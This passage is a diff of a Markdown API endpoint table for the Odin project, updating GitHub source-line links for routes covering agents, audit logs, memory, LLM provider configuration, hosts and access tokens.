[src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L453) | Yes | Single-purpose per-server switch (panel card toggle). | | GET | /api/knowledge | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L95) | Yes | — | | POST | /api/knowledge | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L102) | Yes | — | | DELETE | /api/knowledge/{source} | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L127) | Yes | — | @@ -146,29 +140,29 @@ This describes the normal authenticated deployment. With no configured tokens (i | POST | /api/loops/{loop_id}/restart | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L216) | Yes | — | | GET | /api/agents/model | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L285) | Yes | — | | PUT | /api/agents/model | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L298) | Yes | — | -| GET | /api/agents | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L368) | Yes | — | -| GET | /api/agents/{agent_id} | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L410) | Yes | Full record for ONE agent — the modal's source. | -| DELETE | /api/agents/{agent_id} | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L461) | Yes | — | -| GET | /api/agents/{agent_id}/children | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L474) | Yes | — | -| GET | /api/agents/{agent_id}/lineage | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L484) | Yes | — | -| GET | /api/agents/{agent_id}/descendants | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L494) | Yes | — | -| GET | /api/processes | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L511) | Yes | — | -| DELETE | /api/processes/{pid} | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L541) | Yes | — | -| GET | /api/audit | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L303) | Yes | — | -| GET | /api/audit/diffs | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L326) | Yes | — | -| GET | /api/audit/verify | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L340) | Yes | — | -| GET | /api/logs/search | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L353) | Yes | — | -| GET | /api/logs/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L380) | Yes | — | +| GET | /api/agents | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L342) | Yes | — | +| GET | /api/agents/{agent_id} | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L384) | Yes | Full record for ONE agent — the modal's source. | +| DELETE | /api/agents/{agent_id} | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L435) | Yes | — | +| GET | /api/agents/{agent_id}/children | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L448) | Yes | — | +| GET | /api/agents/{agent_id}/lineage | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L458) | Yes | — | +| GET | /api/agents/{agent_id}/descendants | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L468) | Yes | — | +| GET | /api/processes | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L485) | Yes | — | +| DELETE | /api/processes/{pid} | [src.web.api.agents_loops](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/agents_loops.py#L515) | Yes | — | +| GET | /api/audit | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L313) | Yes | — | +| GET | /api/audit/diffs | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L336) | Yes | — | +| GET | /api/audit/verify | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L350) | Yes | — | +| GET | /api/logs/search | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L363) | Yes | — | +| GET | /api/logs/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L390) | Yes | — | | GET | /api/memory | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L376) | Yes | — | | GET | /api/memory/{scope} | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L397) | Yes | Every key/value in one scope, in ONE request. | | GET | /api/memory/{scope}/{key} | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L418) | Yes | — | | PUT | /api/memory/{scope}/{key} | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L434) | Yes | — | | DELETE | /api/memory/{scope}/{key} | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L458) | Yes | — | | POST | /api/memory/bulk-delete | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L477) | Yes | — | -| GET | /api/risk/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L392) | Yes | — | -| GET | /api/risk/recent | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L399) | Yes | — | -| GET | /api/governor/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L410) | Yes | — | -| GET | /api/audit/risk | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L417) | Yes | — | +| GET | /api/risk/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L402) | Yes | — | +| GET | /api/risk/recent | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L409) | Yes | — | +| GET | /api/governor/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L420) | Yes | — | +| GET | /api/audit/risk | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L427) | Yes | — | | GET | /api/permissions/tiers | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L75) | Yes | — | | POST | /api/permissions/user/{user_id}/repair | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L99) | Yes | — | | DELETE | /api/permissions/user/{user_id}/repair | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L128) | Yes | — | @@ -178,79 +172,79 @@ This describes the normal authenticated deployment. With no configured tokens (i | GET | /api/codex/status | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L23) | Yes | — | | POST | /api/codex/device-code | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L89) | Yes | — | | POST | /api/codex/device-poll | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L98) | Yes | — | -| POST | /api/codex/account/{index}/refresh | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L174) | Yes | — | -| POST | /api/codex/account/{index}/activate | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L215) | Yes | — | -| POST | /api/codex/reload | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L232) | Yes | — | -| PUT | /api/codex/account/{index}/label | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L238) | Yes | — | -| DELETE | /api/codex/account/{index} | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L292) | Yes | — | -| GET | /api/llm/status | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L445) | Yes | — | -| POST | /api/llm/switch | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L616) | Yes | — | -| PUT | /api/llm/main-model | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L669) | Yes | Set the main model and persist its provider derived from the ref. | -| GET | /api/llm/data | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L705) | Yes | — | -| GET | /api/llm/active | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L709) | Yes | — | -| PUT | /api/llm/active | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L722) | Yes | — | -| PUT | /api/llm/codex/config | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L900) | Yes | — | -| PUT | /api/llm/auxiliary/config | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1103) | Yes | — | -| PUT | /api/llm/ollama/config | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1153) | Yes | — | -| PUT | /api/openai-compatible/config | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1244) | Yes | — | -| GET | /api/context/windows | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1437) | Yes | — | -| POST | /api/context/windows/clear | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1592) | Yes | — | -| GET | /api/ollama/status | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1625) | Yes | — | -| POST | /api/ollama/reload | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1643) | Yes | — | -| POST | /api/ollama/probe-models | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1649) | Yes | Fetch models from an arbitrary Ollama base_url — works even when client is disabled. | -| GET | /api/ollama/models | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1678) | Yes | — | -| POST | /api/ollama/model | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1705) | Yes | — | -| GET | /api/openrouter/catalogue | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1768) | Yes | — | -| GET | /api/openrouter/models/{author}/{slug}/endpoints | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1877) | Yes | — | -| POST | /api/openrouter/models/{author}/{slug}/select | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1894) | Yes | Persist a route-derived profile and optional per-model provider pin. | -| GET | /api/openai-compatible/status | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1976) | Yes | — | -| POST | /api/openai-compatible/reload | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L2002) | Yes | — | -| GET | /api/openai-compatible/models | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L2012) | Yes | — | -| POST | /api/openai-compatible/model | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L2024) | Yes | — | -| GET | /api/openai-compatible/diagnostic | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L2066) | Yes | Return bounded connectivity evidence without exposing credentials. | +| POST | /api/codex/account/{index}/refresh | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L187) | Yes | — | +| POST | /api/codex/account/{index}/activate | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L216) | Yes | — | +| POST | /api/codex/reload | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L233) | Yes | — | +| PUT | /api/codex/account/{index}/label | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L239) | Yes | — | +| DELETE | /api/codex/account/{index} | [src.web.api.codex_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/codex_admin.py#L294) | Yes | — | +| GET | /api/llm/status | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L444) | Yes | — | +| POST | /api/llm/switch | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L615) | Yes | — | +| PUT | /api/llm/main-model | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L674) | Yes | Set the main model and persist its provider derived from the ref. | +| GET | /api/llm/data | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L716) | Yes | — | +| GET | /api/llm/active | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L720) | Yes | — | +| PUT | /api/llm/active | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L733) | Yes | — | +| PUT | /api/llm/codex/config | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L911) | Yes | — | +| PUT | /api/llm/auxiliary/config | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1110) | Yes | — | +| PUT | /api/llm/ollama/config | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1162) | Yes | — | +| PUT | /api/openai-compatible/config | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1255) | Yes | — | +| GET | /api/context/windows | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1450) | Yes | — | +| POST | /api/context/windows/clear | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1605) | Yes | — | +| GET | /api/ollama/status | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1638) | Yes | — | +| POST | /api/ollama/reload | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1656) | Yes | — | +| POST | /api/ollama/probe-models | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1662) | Yes | Fetch models from an arbitrary Ollama base_url — works even when client is disabled. | +| GET | /api/ollama/models | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1691) | Yes | — | +| POST | /api/ollama/model | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1718) | Yes | — | +| GET | /api/openrouter/catalogue | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1781) | Yes | — | +| GET | /api/openrouter/models/{author}/{slug}/endpoints | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1890) | Yes | — | +| POST | /api/openrouter/models/{author}/{slug}/select | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L1907) | Yes | Persist a route-derived profile and optional per-model provider pin. | +| GET | /api/openai-compatible/status | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L2023) | Yes | — | +| POST | /api/openai-compatible/reload | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L2049) | Yes | — | +| GET | /api/openai-compatible/models | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L2059) | Yes | — | +| POST | /api/openai-compatible/model | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L2071) | Yes | — | +| GET | /api/openai-compatible/diagnostic | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L2113) | Yes | Return bounded connectivity evidence without exposing credentials. | | GET | /api/host-access | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L227) | Yes + local | — | | PUT | /api/host-access/user/{user_id} | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L250) | Yes + local | — | | DELETE | /api/host-access/user/{user_id} | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L286) | Yes + local | — | | PUT | /api/host-access/default-policy | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L305) | Yes + local | — | -| GET | /api/hosts | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L222) | Yes + local | — | -| POST | /api/hosts/settings | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L235) | Yes + local | — | -| GET | /api/hosts/public-key | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L319) | Yes + local | — | -| POST | /api/hosts/candidates | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L338) | Yes + local | — | -| POST | /api/hosts/{alias}/import-legacy | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L367) | Yes + local | — | -| POST | /api/hosts/candidates/{token}/test | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L388) | Yes + local | — | -| POST | /api/hosts/candidates/{token}/commit | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L417) | Yes + local | — | -| POST | /api/hosts/{alias}/enabled | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L466) | Yes + local | — | -| GET | /api/hosts/{alias}/references | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L492) | Yes + local | — | -| DELETE | /api/hosts/{alias} | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L501) | Yes + local | — | -| POST | /api/hosts/{alias}/force-revoke | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L532) | Yes + local | — | +| GET | /api/hosts | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L225) | Yes + local | — | +| POST | /api/hosts/settings | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L238) | Yes + local | — | +| GET | /api/hosts/public-key | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L333) | Yes + local | — | +| POST | /api/hosts/candidates | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L352) | Yes + local | — | +| POST | /api/hosts/{alias}/import-legacy | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L381) | Yes + local | — | +| POST | /api/hosts/candidates/{token}/test | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L402) | Yes + local | — | +| POST | /api/hosts/candidates/{token}/commit | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L431) | Yes + local | — | +| POST | /api/hosts/{alias}/enabled | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L480) | Yes + local | — | +| GET | /api/hosts/{alias}/references | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L506) | Yes + local | — | +| DELETE | /api/hosts/{alias} | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L515) | Yes + local | — | +| POST | /api/hosts/{alias}/force-revoke | [src.web.api.hosts](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/hosts.py#L546) | Yes + local | — | | GET | /api/tokens | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L342) | Yes + local | — | | DELETE | /api/tokens/unusable/{index} | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L365) | Yes + local | — | | POST | /api/tokens | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L400) | Yes + local | — | | PUT | /api/tokens/{user_id} | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L485) | Yes + local | — | | POST | /api/tokens/{user_id}/regenerate | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L572) | Yes + local | — | | DELETE | /api/tokens/{user_id} | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L600) | Yes + local | — | -| GET | /api/recovery/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L437) | Yes 